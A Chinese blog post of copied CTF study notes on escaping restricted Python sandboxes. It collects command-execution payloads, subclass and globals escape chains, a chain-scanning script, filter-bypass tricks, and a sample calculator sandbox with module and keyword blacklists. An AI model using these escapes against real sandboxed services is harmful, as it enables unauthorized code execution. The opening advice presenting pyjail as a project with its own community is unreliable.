pyjail-学习总结【CV】

01、什么是pyjail?02、怎么学pyjail?03、去哪学pyjail?

pyjail-学习总结【CV】

灵魂三问

什么是pyjail?

pyjail也叫沙箱逃逸,就是在一个受限制的python环境中,绕过现在和过滤达到更高权限,或者geshell的过程。

怎么学pyjail?

  1. 了解pyjail的概念:pyjail是一种限制Python代码执行的技术,用于防止恶意代码对系统造成损害。
  2. 阅读pyjail相关文档和教程:通过阅读官方文档、博客和教程,了解pyjail的工作原理和如何使用它。
  3. 实际操作:使用pyjail进行代码限制,并尝试绕过限制,以深入了解它的工作原理。
  4. 参与社区:加入pyjail的开发者社区,与其他开发者进行交流,共同学习和发展。

去哪学pyjail?

  1. Github:可以在pyjail的Github页面上提交问题,提交代码,并与其他开发者进行交流。
  2. Stack Overflow:可以在Stack Overflow上提问,获得关于pyjail的技术支持。
  3. 开源论坛:可以在开源论坛上了解有关pyjail的最新动态,与其他开发者进行交流。
  4. 在线会议:可以参加与pyjail相关的在线会议,与其他开发者面对面交流。

执行系统命令

【导入模块】

在python中导入模块,有这样的一个流程:

Python导入模块时,会先判断sys.modules是否已经加载了该模块,如果没有加载则从sys.path中的目录按照模块名查找pypycpyd文件,找到后执行该文件载入内存并添加至sys.modules中,再将模块名称导入Local命名空间。如果a.py中存在import b,则在import aab两个模块都会添加至sys.modules中,但仅将a导入Local命名空间。通过from x import y时,则将x添加至sys.modules中,将y导入Local命名空间。

除了这个常规导入模块的方式外还可以手动添加、直接执行等方式导入模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import xxx

from xxx import *

__import__('xxx')

import sys
sys.modules['xxx']='blacklist'
del sys.modules['xxx']
import xxx

a = open('/usr/lib/python3.9/xxx.py').read()
exec(a)

# Python2
execfile('/usr/lib/python2.8/xxx.py')

危险方法

有很多模块和方法可以用于执行命令或者读取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
os.system('whoami')
os.popen('whoami').read()
# Python2
os.popen2('whoami').read()
os.popen3('whoami').read()
...

subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# Python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')

platform.popen('whoami').read()

# Python2
commands.getoutput('whoami')
commands.getstatusoutput('whoami')

timeit.timeit("__import__('os').system('whoami')", number=1)

bdb.os.system('whoami')

cgi.os.system('whoami')

importlib.import_module('os').system('whoami')
# Python3
importlib.__import__('os').system('whoami')

pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")

eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))


# Linux
pty.spawn('whoami')
pty.os.system('whoami')


# 文件操作
open('.bash_history').read()
linecache.getlines('.bash_history')
codecs.open('.bash_history').read()

# Python2
file('.bash_history').read()
types.FileType('.bash_history').read()
commands.getstatus('.bash_history')


# 函数参数
foo.__code__.co_argcount
# Python2
foo.func_code.co_argcount

# 函数字节码
foo.__code__.co_code
# Python2
foo.func_code.co_code

...

重新导入

Python将一些经常用到的函数放在了内建模块中,这些函数无需导入即可使用(比如evalopen),这个内建模块在Python2中叫作__builtin__、在Python3中叫作builtins,这两个都需要导入才可以引用,但可以通过__builtins__来间接引用而无需导入(有一点区别,但问题不大)。

一些环境出于安全考虑会删掉内建模块中的危险方法:

1
2
3
4
5
6
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['exec']
del __builtins__.__dict__['execfile']
del __builtins__.__dict__['getattr']
del __builtins__.__dict__['input']

这时可以尝试重新导入内建模块

1
2
3
4
5
6
imp.reload(__builtins__)

# Python2
reload(__builtins__)

# 也可用作首次导入

但是Python2的reload也是内建模块,可以通过del __builtins__.reload删掉。

builtins、builtin__与__builtins

先说一下,builtinbuiltins__builtin____builtins__的区别:
首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:
2.x:

1
2
3
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x:

1
2
3
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

但是,__builtins__ 两者都有,实际上是__builtin__builtins 的引用。它不需要导入,我估计是为了统一 2.x 和 3.x。不过__builtins____builtin__builtins是有一点区别的,感兴趣的话建议查一下,这里就不啰嗦了。不管怎么样,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

1
2
3
4
5
6
7
8
9
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

这里稍微解释下 x.__dict__ ,它是 x 内部所有属性名和属性值组成的字典,有以下特点:

  1. 内置的数据类型没有 __dict__ 属性
  2. 每个类有自己的 __dict__ 属性,就算存着继承关系,父类的 __dict__ 并不会影响子类的 __dict__
  3. 对象也有自己的 __dict__ 属性,包含 self.xxx 这种实例属性

那么既然__builtins__有这么多危险的函数,不如将里面的危险函数破坏了:

1
__builtins__.__dict__['eval'] = 'not allowed'

或者直接删了:

1
del __builtins__.__dict__['eval']

但是我们可以利用 reload(__builtins__) 来恢复 __builtins__。不过,我们在使用 reload 的时候也没导入,说明 reload也在 __builtins__里,那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。还有一种情况是利用 exec command in _global 动态运行语句时的绕过,比如实现一个计算器的时候,在最后有给出例子。

这里注意,2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload

构造逃逸链

对于a模块嵌套导入的b模块中导入的xxx模块,可以通过a.b.xxx的方式来引用。如果标准库中嵌套导入了危险模块则会成为一个潜在风险,但是标准库也是需要先导入才能用的,如何才能打破僵局让潜在风险可被利用呢?

在Python3中所有的类都默认继承自object类、继承object的全部方法,在Python2中类默认为classobj,只有['__doc__', '__module__']两个方法,除非显式声明继承自object类。

思路一:如果object的某个派生类中存在危险方法,就可以直接拿来用

思路二:如果object的某个派生类导入了危险模块,就可以链式调用危险方法

思路三:如果object的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用

思路四:基本类型的某些方法属于特殊方法,可以通过链式调用

获取object类

Python建议类的protected类型、private类型及内部变量分别以_xxx__yyy__zzz__的形式命名,但这仅是一种代码风格规范,并未在语言层面作任何限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
object

[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
[].__class__.__bases__[0]
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__mro__[1]
().__class__.__mro__[1]
{}.__class__.__mro__[1]

# Python3
''.__class__.__base__
''.__class__.__mro__[1]

# Python2
''.__class__.__mro__[2]

# 下标可以用负数来倒数

遍历派生类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
# coding: utf-8

import sys

# https://github.com/python/cpython/tree/2.7/Lib
# ls -l /usr/lib/python2.7 | awk '{print$9}' | grep -v '.pyc\|this\|antigravity'

# Python2标准库模块
modules2 = ['_abcoll', 'abc', 'aifc', 'anydbm', 'argparse.egg-info', 'argparse', 'ast', 'asynchat', 'asyncore', 'atexit', 'audiodev', 'base64', 'BaseHTTPServer', 'Bastion', 'bdb', 'binhex', 'bisect', 'bsddb', 'calendar', 'CGIHTTPServer', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', 'colorsys', 'commands', 'compileall', 'compiler', 'ConfigParser', 'config-x86_64-linux-gnu', 'contextlib', 'cookielib', 'Cookie', 'copy', 'copy_reg', 'cProfile', 'csv', 'ctypes', 'curses', 'dbhash', 'decimal', 'difflib', 'dircache', 'dis', 'dist-packages', 'distutils', 'doctest', 'DocXMLRPCServer', 'dumbdbm', 'dummy_threading', 'dummy_thread', 'email', 'encodings', 'ensurepip', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fpformat', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'hotshot', 'htmlentitydefs', 'htmllib', 'HTMLParser', 'httplib', 'ihooks', 'imaplib', 'imghdr', 'importlib', 'imputil', 'inspect', 'io', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'lib-tk', 'LICENSE.txt', 'linecache', 'locale', 'logging', '_LWPCookieJar', 'macpath', 'macurl2path', 'mailbox', 'mailcap', 'markupbase', 'md5', 'mhlib', 'mimetools', 'mimetypes', 'MimeWriter', 'mimify', 'modulefinder', '_MozillaCookieJar', 'multifile', 'multiprocessing', 'mutex', 'netrc', 'new', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'optparse', 'os2emxpath', 'os', '_osx_support', 'pdb.doc', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plat-x86_64-linux-gnu', 'plistlib', 'popen2', 'poplib', 'posixfile', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', 'pyclbr', 'py_compile', 'pydoc_data', 'pydoc', '_pyio', 'Queue', 'quopri', 'random', 'repr', 're', 'rexec', 'rfc822', 'rlcompleter', 'robotparser', 'runpy', 'sched', 'sets', 'sgmllib', 'sha', 'shelve', 'shlex', 'shutil', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'SocketServer', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'sre', 'ssl', 'stat', 'statvfs', 'StringIO', 'stringold', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunaudio', 'sunau', 'symbol', 'symtable', '_sysconfigdata', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'toaiff', 'tokenize', 'token', 'traceback', 'trace', 'tty', 'types', 'unittest', 'urllib2', 'urllib', 'urlparse', 'UserDict', 'UserList', 'user', 'UserString', 'uuid', 'uu', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'whichdb', 'wsgiref', 'wsgiref.egg-info', 'xdrlib', 'xml', 'xmllib', 'xmlrpclib', 'zipfile']

# Python3标准库模块
modules3 = ['abc', 'aifc', 'argparse', 'ast', 'asynchat', 'asyncio', 'asyncore', 'base64', 'bdb', 'binhex', 'bisect', '_bootlocale', 'bz2', 'calendar', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', '_collections_abc', 'colorsys', '_compat_pickle', 'compileall', '_compression', 'concurrent', 'config-3.8-x86_64-linux-gnu', 'configparser', 'contextlib', 'contextvars', 'copy', 'copyreg', 'cProfile', 'crypt', 'csv', 'ctypes', 'curses', 'dataclasses', 'datetime', 'dbm', 'decimal', 'difflib', 'dis', 'dist-packages', 'distutils', 'doctest', 'dummy_threading', '_dummy_thread', 'email', 'encodings', 'ensurepip', 'enum', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'html', 'http', 'imaplib', 'imghdr', 'importlib', 'imp', 'inspect', 'io', 'ipaddress', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'LICENSE.txt', 'linecache', 'locale', 'logging', 'lzma', 'mailbox', 'mailcap', '_markupbase', 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'operator', 'optparse', 'os', '_osx_support', 'pathlib', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plistlib', 'poplib', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', '_py_abc', 'pyclbr', 'py_compile', '_pydecimal', 'pydoc_data', 'pydoc', '_pyio', 'queue', 'quopri', 'random', 'reprlib', 're', 'rlcompleter', 'runpy', 'sched', 'secrets', 'selectors', 'shelve', 'shlex', 'shutil', 'signal', '_sitebuiltins', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'socketserver', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'ssl', 'statistics', 'stat', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunau', 'symbol', 'symtable', '_sysconfigdata__linux_x86_64-linux-gnu', '_sysconfigdata__x86_64-linux-gnu', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'tkinter', 'tokenize', 'token', 'traceback', 'tracemalloc', 'trace', 'tty', 'turtle', 'types', 'typing', 'unittest', 'urllib', 'uuid', 'uu', 'venv', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'wsgiref', 'xdrlib', 'xml', 'xmlrpc', 'zipapp', 'zipfile', 'zipimport']

# 危险模块
methods = ['sys', 'os', 'system', 'popen', 'subprocess', 'platform', 'commands', 'timeit', 'bdb', 'cgi', 'importlib', 'pickle', 'pty', '__builtins__', '__import__', 'import_module', 'eval', 'exec', 'spawn', 'file', 'linecache', 'types']

# 基本类型
types = ['', [], (), {}]

# object的派生类
subclasses = {}

# 危险标准库模块
risk_modules = {}

# 遍历派生类并获取模块
for i in range(0, len(object.__subclasses__())):
try:
subclasses[i] = object.__subclasses__()[i].__init__.__globals__.keys()
except Exception as e:
# print(e)
pass

print('------------------------------ 思路二 ------------------------------')

# 导入了危险模块的派生类
for i, submodules in subclasses.items():
for submodule in submodules:
for method in methods:
if method == submodule:
# print(f"object.__subclasses__()[{i}].__init__.__globals__['{method}']")
print("object.__subclasses__()[{i}].__init__.__globals__['{method}']".format(i=i, method=method))

print('------------------------------ 缓冲区 ------------------------------')

# 判断Python版本
if (sys.version_info[0]) == 3:
modules = modules3
else:
modules = modules2

# 导入了危险模块的标准库
for module in modules:
risk_modules[module] = []
try:
m = __import__(module) # 导入模块
attrs = dir(m) # 获取属性与方法
for method in methods:
if method in attrs: # 若存在危险模块
risk_modules[module].append(method)
except Exception as e:
# print(e)
pass

print('------------------------------ 思路三 ------------------------------')

# 导入了危险标准库的派生类
for i, submodules in subclasses.items():
for submodule in submodules:
for risk_module in risk_modules.keys():
if risk_module == submodule:
for method in risk_modules[risk_module]:
# print(f"object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']")
print("object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']".format(i=i, risk_module=risk_module, method=method))

print('------------------------------ 思路四 ------------------------------')

# 基本类型的特殊方法
for t in types:
for method in dir(t):
# 待比较类型
c = str(t.__getattribute__(method).__class__)
# Python2特殊类型
c2 = "<type 'builtin_function_or_method'>"
# Python3特殊类型
c3 = "<class 'builtin_function_or_method'>"
if c == c2 or c == c3:
# 转义双引号
if t == '':
t = "''"
print("{t}.{method}.__class__.__call__".format(t=t, method=method))

思路一实例

1
2
3
4
5
6
# Python3
object.__subclasses__()[37].__call__(eval, "__import__('os').system('whoami')")

# Python2
object.__subclasses__()[29].__call__(eval, "__import__('os').system('whoami')")
object.__subclasses__()[40]('.bash_history').read()

思路二实例

1
2
3
4
5
6
7
8
9
# Python3
object.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('whoami')

# Python3
object.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

思路三实例

1
2
3
4
# Python3
object.__subclasses__()[170].__init__.__globals__['_collections_abc'].__dict__['sys'].modules['os'].system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')

思路三特例

1
2
3
4
# Python3
object.__subclasses__()[134]()._module.__builtins__['__import__']('os').system('whoami')
# Python2
object.__subclasses__()[59]()._module.__builtins__['__import__']('os').system('whoami')

思路四实例

1
[].append.__class__.__call__(eval, "__import__('os').system('whoami')")

WAF

过滤 [ ]

应对的方式就是将[]的功能用pop__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0)):

1
2
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'macr0phag3\n'

当然,dict 也是可以 pop 的:{"a": 1}.pop("a")

当然也可以用 next(iter()) 替代,或许可以加上 max 之类的玩意。

过滤引号

chr

最简单就是用 chr

1
2
3
os.system(
chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)
)

扣字符

利用 str[],挨个把字符拼接出来

1
2
3
os.system(
str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
)

当然 [] 如果被过滤了也可以 bypass,前面说过了。

如果 str 被过滤了怎么办呢?type('')()format() 即可。同理,intlist 都可以用 type 构造出来。

格式化字符串

那过滤了引号,格式化字符串还能用吗?

1
(chr(37)+str({}.__class__)[1])%100 == 'd'

又起飞了…

dict() 拿键它不香吗?

1
2
3
'whoami' ==
list(dict(whoami=1))[0] ==
str(dict(whoami=1))[2:8] ==

限制数字

上面提到了字符串过滤绕过,顺便说一下,如果是过滤了数字(虽然这种情况很少见),那绕过的方式就更多了,我这里随便列下:

  1. 0:int(bool([]))Flaselen([])any(())
  2. 1:int(bool([""]))Trueall(())int(list(list(dict(a၁=())).pop()).pop())
  3. 获取稍微大的数字:len(str({}.keys)),不过需要慢慢找长度符合的字符串
  4. 1.0:float(True)
  5. -1:~0

其实有了 0 就可以了,要啥整数直接做运算即可:

1
2
3
4
5
0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4
...

任意浮点数稍微麻烦点,需要想办法运算,但是一定可以搞出来,除非是 π 这种玩意…

限制空格

空格通常来说可以通过 ()[] 替换掉。例如:

1
[i for i in range(10) if i == 5]` 可以替换为 `[[i][0]for(i)in(range(10))if(i)==5]

限制运算符

> < ! - + 这几个比较简单就不说了。

== 可以用 in 来替换。

替换 or 的测试代码

1
2
3
4
5
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

上面这几个表达式都可以替换掉 or

替换 and 的测试代码

1
2
3
4
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

上面这几个表达式都可以替换掉 and

限制 ( )

这种情况下通常需要能够支持 exec 执行代码。因为有两种姿势:

  • 利用装饰器 @
  • 利用魔术方法,例如 enum.EnumMeta.__getitem__

利用新特性

PEP 498 引入了 f-string,在 3.6 开始出现:传送门🚪,食用方式:传送门🚪。所以我们就有了一种船新的利用方式:

1
2
3
>>> f'{__import__("os").system("whoami")}'
macr0phag3
'0'

关注每次版本增加的新特性,或许能淘到点宝贝。

利用反序列化攻击

反序列化攻击也是能用来逃逸

这个例子来自iscc 2016Pwn300 pycalc,相当有趣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python2
# -*- coding:utf-8 -*-


def banner():
print "============================================="
print " Simple calculator implemented by python "
print "============================================="
return


def getexp():
return raw_input(">>> ")


def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)


def sandbox_filter(command):
blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
'=', 'open', 'read', 'sys', ';', 'os']
for forbid in blacklist:
if forbid in command:
return 0
return 1


def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
if sandbox_filter(command) == 0:
print 'Malicious user input detected!!!'
exit(0)
command = 'result = ' + command
try:
exec command in _global # do calculate in a sandboxed environment
except Exception, e:
print e
return 0
result = _global['result'] # extract the result
return result


banner()
while 1:
command = getexp()
print sandbox_exec(command)

exec command in _global 这一句就把很多 payload 干掉了,由于 exec 运行在自定义的全局命名空间里,这时候会处于restricted execution mode。exec 加上定制的 globals 会使得沙箱安全很多,一些常规的 payload 是没法使用的,例如:

1
2
3
4
5
6
>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__
restricted attribute
>>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()
file() constructor not accessible in restricted mode

DELPHI

不过也正是由于 exec 运行在特定的命名空间里,可以通过其他命名空间里的 __builtins__,比如 types 库,来执行任意命令:

1
2
3
4
>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
macr0phag3

LISP

极端限制

这种限制一般是组合形式出现,而且通常只会出现在 CTF 中。

限制输入字符的集合的大小

思路就是先确定不得不用到的字符,再看这些字符能够拼出哪些函数或者常量。

限制不能使用 [a-zA-Z] 的字符

Python3 支持了 Unicode 变量名且解释器在做代码解析的时候,会对变量名进行规范化,算法是 NFKC

所以在这种情况下可以用这种姿势:

1
eval == ᵉval

socket + 严格的输入限制

可以看看是否漏掉了 help,漏掉的话,先通过 help() 调起 vi/vim,然后用 ! 指令即可 getshell

参考链接

https://www.tr0y.wang/2019/05/06/Python沙箱逃逸经验总结/

https://hosch3n.github.io/2020/08/27/Python沙箱逃逸/

声明:本文不做任何商用,仅展示自己的blog上方便自我查阅,若存在抄袭,搬运商用,请及时联系本人删除,发送邮箱!